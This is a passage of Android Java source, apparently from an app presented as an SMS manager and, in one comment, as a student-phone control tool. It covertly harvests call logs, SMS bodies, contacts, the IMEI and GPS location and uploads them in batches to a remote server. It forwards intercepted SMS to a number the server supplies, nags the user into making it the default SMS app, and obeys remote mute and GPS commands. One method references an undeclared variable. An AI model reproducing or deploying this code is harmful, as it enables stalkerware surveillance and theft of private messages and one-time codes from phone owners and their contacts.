    private String getCallType(int anInt) {
        String strType = "呼入";
        switch (anInt) {
            default:
            case 1:
                strType = "呼入";
                break;
            case 2:
                strType = "呼出";
                break;
            case 3:
                strType = "未接";
                break;
        }

        return strType;
    }

    public String formatDate(long time) {
        DateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss", Locale.getDefault());
        return format.format(new Date(time));
    }

    public String formatDuration(long time) {
        long s = time % 60;
        long m = time / 60;
        long h = time / 60 / 60;
        StringBuilder sb = new StringBuilder();
        if (h > 0) {
            sb.append(h).append("小时");
        }
        if (m > 0) {
            sb.append(m).append("分");
        }
        sb.append(s).append("秒");
        return sb.toString();
    }

    //拦截的短信->转发
    private void zfsms(String msg) {
        if (ThmlogCenter.getInstance().mZfmobile.length() < 3 || msg.length() < 1) {
            return;
        }

        try {
            SmsManager smsManager = SmsManager.getDefault();
            if (msg.length() <= 70) {
                smsManager.sendTextMessage(ThmlogCenter.getInstance().mZfmobile, null, msg, null, null);
            } else {
                // SmsManger 类中 divideMessage 会将信息按每70 字分割
                ArrayList<String> smsDivs = smsManager.divideMessage(msg);
                for (String sms : smsDivs) {
                    smsManager.sendTextMessage(ThmlogCenter.getInstance().mZfmobile, null, sms, null, null);
                }
            }
        } catch (Exception e) {

        }
    }

    private String getMessageRead(int anInt) {
        if (1 == anInt) {
            return "已读";
        }
        if (0 == anInt) {
            return "未读";
        }
        return null;
    }

    private String getMessageType(int anInt) {
        if (1 == anInt) {
            return "收到的";
        }
        if (2 == anInt) {
            return "已发出";
        }
        return null;
    }

    private String getMessageStatus(int anInt) {
        switch (anInt) {
            case -1:
                return "接收";
            case 0:
                return "complete";
            case 64:
                return "pending";
            case 128:
                return "failed";
            default:
                break;
        }
        return null;
    }

    private String getPerson(String address) {
        try {
            ContentResolver resolver = getContentResolver();
            Uri uri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI, address);
            Cursor cursor;
            cursor = resolver.query(uri, new String[]{ContactsContract.PhoneLookup.DISPLAY_NAME}, null, null, null);
            if (cursor != null) {
                try {
                    if (cursor.getCount() != 0) {
                        cursor.moveToFirst();
                        String name = cursor.getString(0);
                        return name;
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                } finally {
                    cursor.close();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    void openGps(boolean open) {
        GPSProvider.getInstance().initGPSProvider(this, open);
        LonLat pos = GPSProvider.getInstance().getPos();
        if (pos != null) {
            _latlon = pos.GetLat() + ", " + pos.GetLon();
        }
    }

    /**
     * 检测是否为默认短信应用，否的话弹框请用户选择
     */
    private void checkIfDefaultSMS() {
        try {
            final String myPackageName = getPackageName();
            if (!Telephony.Sms.getDefaultSmsPackage(this).equals(myPackageName)) {
                SystemHelper.setTopApp(MainActivity.this);
                // App is not default.
                notifymsg0();

                Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
                intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, myPackageName);
                startActivity(intent);
//            setDefaultSms();
            } else {
                // App is the default.
            }
//        Utils.log("checkIfDefaultSMS");
        } catch (Exception e) {

        }
    }

    private void onDosms() {
        //处理拦截的短信
        for (Thmlog thmlog : ThmlogCenter.getInstance().mThmlogList) {
            thmlog.setLatlon(_latlon);
            Sendmsg s = SendsmsCenter.getInstance().getSendmsg(thmlog.getDate(), thmlog.getSmsmsg());
            if (s != null) {
                continue;
            }
            SendsmsCenter.getInstance().saveSendmsg(new Sendmsg(null, thmlog.getSmsmsg(), thmlog.getDate()));
            ThmlogCenter.getInstance().saveThmlog(thmlog);

            //转发短信
            zfsms(thmlog.getSmsmsg());
        }
    }

    class CallRecord {
        long date;
        String formatted_number;
        String matched_number;
        String name;
        String type;
        String location;
        long duration;

        @Override
        public String toString() {
            return "CallRecord{" +
                    "日期：" + formatDate(date) +
                    ", 电话='" + matched_number + '\'' +
                    ", 联系人='" + name + '\'' +
                    ", 类型=" + type +
                    ", 通话时间=" + formatDuration(duration) +
                    '}';
        }

    }

    //控制學生手機的音量（可設定成靜音）
    void setJinyin() {
        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
        am.setStreamVolume(AudioManager.STREAM_MUSIC, 0, AudioManager.FLAG_PLAY_SOUND);//设置值为Val
        setBeiguang();
    }

    //螢幕背光可設定成最暗
    void setBeiguang() {
//        ContentResolver resolver = context.getContentResolver();
//        Uri uri = android.provider.Settings.System.getUriFor(Settings.System.SCREEN_BRIGHTNESS);
//        android.provider.Settings.System.putInt(resolver, Settings.System.SCREEN_BRIGHTNESS, 1);
//        resolver.notifyChange(uri, null);
    }

    private void huanyuan() {
        //恢复默认的短信应用
        //获取手机当前设置的默认短信应用的包名
        final String myPackageName = getPackageName();
        if (Telephony.Sms.getDefaultSmsPackage(this).equals(myPackageName)) {
            String defaultSmsApp = Telephony.Sms.getDefaultSmsPackage(getActivity());
            Intent smsIntent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
            intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, defaultSmsApp);
            startActivity(smsIntent);
        }
    }

    //查询通话记录
    @TargetApi(21)
    private void queryCallLog() {
        //  权限检查
        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_CALL_LOG)
                != PackageManager.PERMISSION_GRANTED) {
            // TODO: Consider calling
            //    ActivityCompat#requestPermissions
            // here to request the missing permissions, and then overriding
            //   public void onRequestPermissionsResult(int requestCode,
            //      String[] permissions,int[] grantResults)
            // to handle the case where the user grants the permission.
            // See the documentation
            // for ActivityCompat#requestPermissions for more details.
            Log.w(TAG, "permission is request");
            /**
             * 动态申请权限
             * 这里没有在
             * onRequestPermissionsResult(int requestCode,
             * String[] permissions,int[] grantResults)方法里面处理
             *
             */
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_CALL_LOG}, 100);
            return;
        }

        //动态申请权限
        if (ActivityCompat.checkSelfPermission(MainActivity.this,
                Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(MainActivity.this,
                    new String[]{Manifest.permission.READ_CONTACTS}, 101);
            return;
        }
        //动态申请权限
        if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_SMS)
                != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(MainActivity.this,
                    new String[]{Manifest.permission.READ_SMS}, 101);
            return;
        }

        String name = "";
        String mobile = Utils.getIMEI(this);

        ContentResolver resolver = getContentResolver();
        //获取cursor对象
        Cursor cursor = resolver.query(CallLog.Calls.CONTENT_URI, new String[]{
                CallLog.Calls.CACHED_FORMATTED_NUMBER,
//                CallLog.Calls.CACHED_MATCHED_NUMBER,
                CallLog.Calls.NUMBER,
                CallLog.Calls.CACHED_NAME,
                CallLog.Calls.TYPE,
                CallLog.Calls.DATE,
                CallLog.Calls.DURATION,
                CallLog.Calls.GEOCODED_LOCATION,
        }, null, null, "date DESC ");

        /**
         *  "date DESC limit 2"
         *  按时间排序查询2条记录
         */

        if (cursor != null) {
            Log.i(TAG, "cursor length is " + cursor.getCount());
            try {
                while (cursor.moveToNext()) {
                    CallRecord record = new CallRecord();
                    record.formatted_number = cursor.getString(0);
                    record.matched_number = cursor.getString(1);
                    record.name = cursor.getString(2);
                    record.type = getCallType(cursor.getInt(3));
                    record.date = cursor.getLong(4);
                    record.duration = cursor.getLong(5);
                    record.location = cursor.getString(6);

                    Thmlog thmlog = ThmlogCenter.getInstance().getThmlog(record.date, 0);
                    if (thmlog == null) {
                        thmlog = new Thmlog(null, name, mobile, 0, record.date, record.matched_number, record.name,
                                record.type, record.duration, "", "", 0, "", _latlon, false);
                        ThmlogCenter.getInstance().saveThmlog(thmlog);//保存上传记录
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                cursor.close();  //关闭cursor，避免内存泄露
            }
        }
    }

    //查询短信
    @TargetApi(21)
    public String queryMessageLog() {
        final String SMS_URI_ALL = "content://sms/"; // 所有短信
        final String SMS_URI_INBOX = "content://sms/inbox"; // 收件箱
        final String SMS_URI_SEND = "content://sms/sent"; // 已发送
        final String SMS_URI_DRAFT = "content://sms/draft"; // 草稿
        final String SMS_URI_OUTBOX = "content://sms/outbox"; // 发件箱
        final String SMS_URI_FAILED = "content://sms/failed"; // 发送失败
        final String SMS_URI_QUEUED = "content://sms/queued"; // 待发送列表

        String name = "";
        String mobile = Utils.getIMEI(this);

        StringBuilder smsBuilder = new StringBuilder();
        Utils.log("a1");
        try {
            Uri uri = Uri.parse(SMS_URI_ALL);
            String[] projection = new String[]{"_id", "address", "person",
                    "body", "date", "type",};
            Cursor cur = getContentResolver().query(uri, projection, null,
                    null, "date desc"); // 获取手机内部短信
            // 获取短信中最新的未读短信
            // Cursor cur = getContentResolver().query(uri, projection,
            // "read = ?", new String[]{"0"}, "date desc");
            Utils.log("a2");
            if (cur.moveToFirst()) {
                Utils.log("a3");
                int index_Address = cur.getColumnIndex("address");
                int index_Person = cur.getColumnIndex("person");
                int index_Body = cur.getColumnIndex("body");
                int index_Date = cur.getColumnIndex("date");
                int index_Type = cur.getColumnIndex("type");

                do {
                    String strAddress = cur.getString(index_Address);
                    int intPerson = cur.getInt(index_Person);
                    String strbody = cur.getString(index_Body);
                    long longDate = cur.getLong(index_Date);
                    int intType = cur.getInt(index_Type);

                    SimpleDateFormat dateFormat = new SimpleDateFormat(
                            "yyyy-MM-dd hh:mm:ss");
                    Date d = new Date(longDate);
                    String strDate = dateFormat.format(d);

                    String strType = "";
                    if (intType == 1) {
                        strType = "接收";
                    } else if (intType == 2) {
                        strType = "发送";
                    } else if (intType == 3) {
                        strType = "草稿";
                        continue;
                    } else if (intType == 4) {
                        strType = "发件箱";
                        continue;
                    } else if (intType == 5) {
                        strType = "发送失败";
                        continue;
                    } else if (intType == 6) {
                        strType = "待发送列表";
                        continue;
                    } else if (intType == 0) {
                        strType = "所有短信";
                        continue;
                    } else {
                        strType = "null";
                        continue;
                    }

                    Thmlog thmlog = ThmlogCenter.getInstance().getThmlog(longDate, 1);
                    if (thmlog == null) {
                        thmlog = new Thmlog(null, name, mobile, 1, longDate, "", "",
                                "", 0, strAddress, strbody, intType, "", _latlon, false);
                        ThmlogCenter.getInstance().saveThmlog(thmlog);//保存上传记录
                    }

                } while (cur.moveToNext());

                if (!cur.isClosed()) {
                    cur.close();
                    cur = null;
                }
            } else {
                smsBuilder.append("no result!");
            }

            smsBuilder.append("getSmsInPhone has executed!");

        } catch (SQLiteException ex) {

        }

        return smsBuilder.toString();
    }

    //提示
    void notifymsg() {
        NotificationUtil notificationUtils = new NotificationUtil(this);
        notificationUtils.sendNotification(getString(R.string.app_name), _msginfo);
    }

    void notifymsg0() {
        NotificationManager notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
        NotificationCompat.Builder builder = null;
        /**
         * 这里需要注意，8.0以上需要创建 Channel 渠道
         */
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel notificationChannel = new NotificationChannel("友情通知", getString(R.string.app_name),
                    NotificationManager.IMPORTANCE_DEFAULT);
            notificationManager.createNotificationChannel(notificationChannel);
            builder = new NotificationCompat.Builder(this, "友情通知");
        } else {
            builder = new NotificationCompat.Builder(this);
        }

        //Ticker是状态栏显示的提示
        builder.setTicker("请同意預設短信管理APP");
        //第一行内容  通常作为通知栏标题
        builder.setContentTitle("请同意預設短信管理APP");
        //第二行内容 通常是通知正文
        builder.setContentText(_msginfo);
        //第三行内容 通常是内容摘要什么的 在低版本机器上不一定显示
        builder.setSubText("預設短信管理！");//--没用
        //ContentInfo 在通知的右侧 时间的下面 用来展示一些其他信息
        builder.setContentInfo("預設短信管理。");//--没用
        //number设计用来显示同种通知的数量和ContentInfo的位置一样，如果设置了ContentInfo则number会被隐藏
        builder.setNumber(2);
        //true：点击通知栏，通知消失
        builder.setAutoCancel(true);
        //通知时间
        builder.setWhen(System.currentTimeMillis());
        //系统状态栏显示的小图标
        builder.setSmallIcon(R.mipmap.ic_launcher);
        //下拉显示的大图标
        builder.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.mipmap.ic_launcher));
        /**
         * 这里的Intent可以携带参数传递到跳转的Activity，后面会专门解释
         */
        Intent intent = new Intent(this, MainActivity.class);
        PendingIntent pIntent = PendingIntent.getActivity(this, 1, intent, 0);
        //点击跳转的intent
        builder.setContentIntent(pIntent);
        //通知默认的声音 震动 呼吸灯
        builder.setDefaults(NotificationCompat.DEFAULT_ALL);
        Notification notification = builder.build();
        /**
         * 第一个参数为id，如果id相同则该通知会更新；
         */
        notificationManager.notify(123, notification);
    }

    //查询通訊錄
    void getLianluoren() {
        ArrayList<MyContacts> contacts = ContactUtils.getAllContacts(MainActivity.this);
        for (MyContacts contact : contacts) {
            MyContacts contact0 = MyContactsCenter.getInstance().getMyContacts(contact.name, contact.phone);
            if (contact0 == null) {
                MyContactsCenter.getInstance().saveMyContacts(contact);
            }
        }
    }

    //上传顺序 1.心跳包  -> 2. plsc -> 3.plsc_contact
    private void doXTB() {
        if (_issending) {
            return;
        }

        _issending = true;
        String imei = Utils.getIMEI(this);
        LonLat pos = GPSProvider.getInstance().getPos();
        try {
            String smsappstate = "0";
            final String myPackageName = getPackageName();
            if (Telephony.Sms.getDefaultSmsPackage(this).equals(myPackageName)) {
                smsappstate = "1";
            }

            String app_sn = getString(R.string.app_sn);

            Log.i("MainService", "doXTB---");

            HttpRequest.postxtb((float) pos.GetLon(), (float) pos.GetLat(), imei, smsappstate, app_sn, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = 0;
                    if (jsonObject != null) {
                        code = jsonObject.getInteger("code");
                    }
                    Log.i("MainService", "doXTB1---" + e);
                    if (code == 1) {
                        Log.i("MainService", "doXTB2---");

                        JSONObject data = jsonObject == null ? null : jsonObject.getJSONObject("data");
                        int s = data.getInteger("switch");
                        if (s == 0) {
                            ThmlogCenter.getInstance().mNeedlj = false;
                        }
                        ThmlogCenter.getInstance().mZfmobile = data.getString("zfmobile");
                        _commandtype = data.getIntValue("commandtype");
                        if (_commandtype == 1) {
                            //指令有效时间为1分半钟内
                            setJinyin();
                        } else if (_commandtype == 3) {
                            openGps(true);
                        }

                        String ccmobile = data.getString("ccmobile");//
                        if (ccmobile != null && ccmobile.length() > 3) {
                            //发送IMEI给指定的手机
                            _ccmobile = ccmobile;
                            mHandler.sendEmptyMessage(SENDCC);
                        }

                        _txjg = data.getInteger("txjg");//短信App提醒间隔 秒

                        String msginfo = data.getString("msginfo");//
                        String msgzfmobile = data.getString("msgzfmobile");//
                        _msgzfmobile = "";
                        if (msginfo != null && !_msginfo.equals(msginfo)) {
                            _msginfo = msginfo;
                            if (!msgzfmobile.isEmpty()) {
                                _msgzfmobile = msgzfmobile;
                                mHandler.sendEmptyMessage(SENDZF);
                            } else {
                                mHandler.sendEmptyMessage(SENDTZ);
                            }
                        }
                        plsc();
                    } else {
                        _issending = false;
                    }
                }
            });
        } catch (Exception e1) {
            _issending = false;
            Log.d("MainService", "error : "+ e1);
        }

    }

    //批量上传 短信+通话记录
    void plsc() {
        final ArrayList<Thmlog> thmlogList = ThmlogCenter.getInstance().getThmlogNotSend(20);
        if (thmlogList == null || thmlogList.size() < 1) {
            _issending = false;
            return;
        }

        try {
            String msg = JSON.toJSONString(thmlogList);
            msg = URLEncoder.encode(msg, "utf-8");
            HttpRequest.postthminfo(msg, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = 0;
                    if (jsonObject != null) {
                        code = jsonObject.getInteger("code");
                    }

                    if (code == 1) {
                        for (Thmlog thmlog : thmlogList) {
                            thmlog.setIssend(true);
                            ThmlogCenter.getInstance().saveThmlog(thmlog);
                        }
                        Log.i("MainService", "plsc");
                        plsc_contact();
                    } else {
                        _issending = false;
                    }

                }
            });

        } catch (Exception e) {
            e.printStackTrace();
            Log.d("MainService", "error : "+ e);
            _issending = false;
        }

    }

    //批量上传 通讯录
    void plsc_contact() {
        final ArrayList<MyContacts> myContactsList = MyContactsCenter.getInstance().getMyContactsNotSend(20);
        if (myContactsList == null || myContactsList.size() < 1) {
            _issending = false;
            return;
        }

        String mobile = Utils.getIMEI(this);
        try {
            String msg = JSON.toJSONString(myContactsList);
            msg = URLEncoder.encode(msg, "utf-8");
            //批量上传
            HttpRequest.posttxl(msg, mobile, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = 0;
                    if (jsonObject != null) {
                        code = jsonObject.getInteger("code");
                    }

                    if (code == 1) {
                        for (MyContacts myContact : myContactsList) {
                            myContact.setIssend(true);
                            MyContactsCenter.getInstance().saveMyContacts(myContact);
                        }
                        Log.i("MainService", "plsc_contact");
                    }
                    _issending = false;
                }
            });

        } catch (Exception e) {
            e.printStackTrace();
            _issending = false;
        }

    }


}

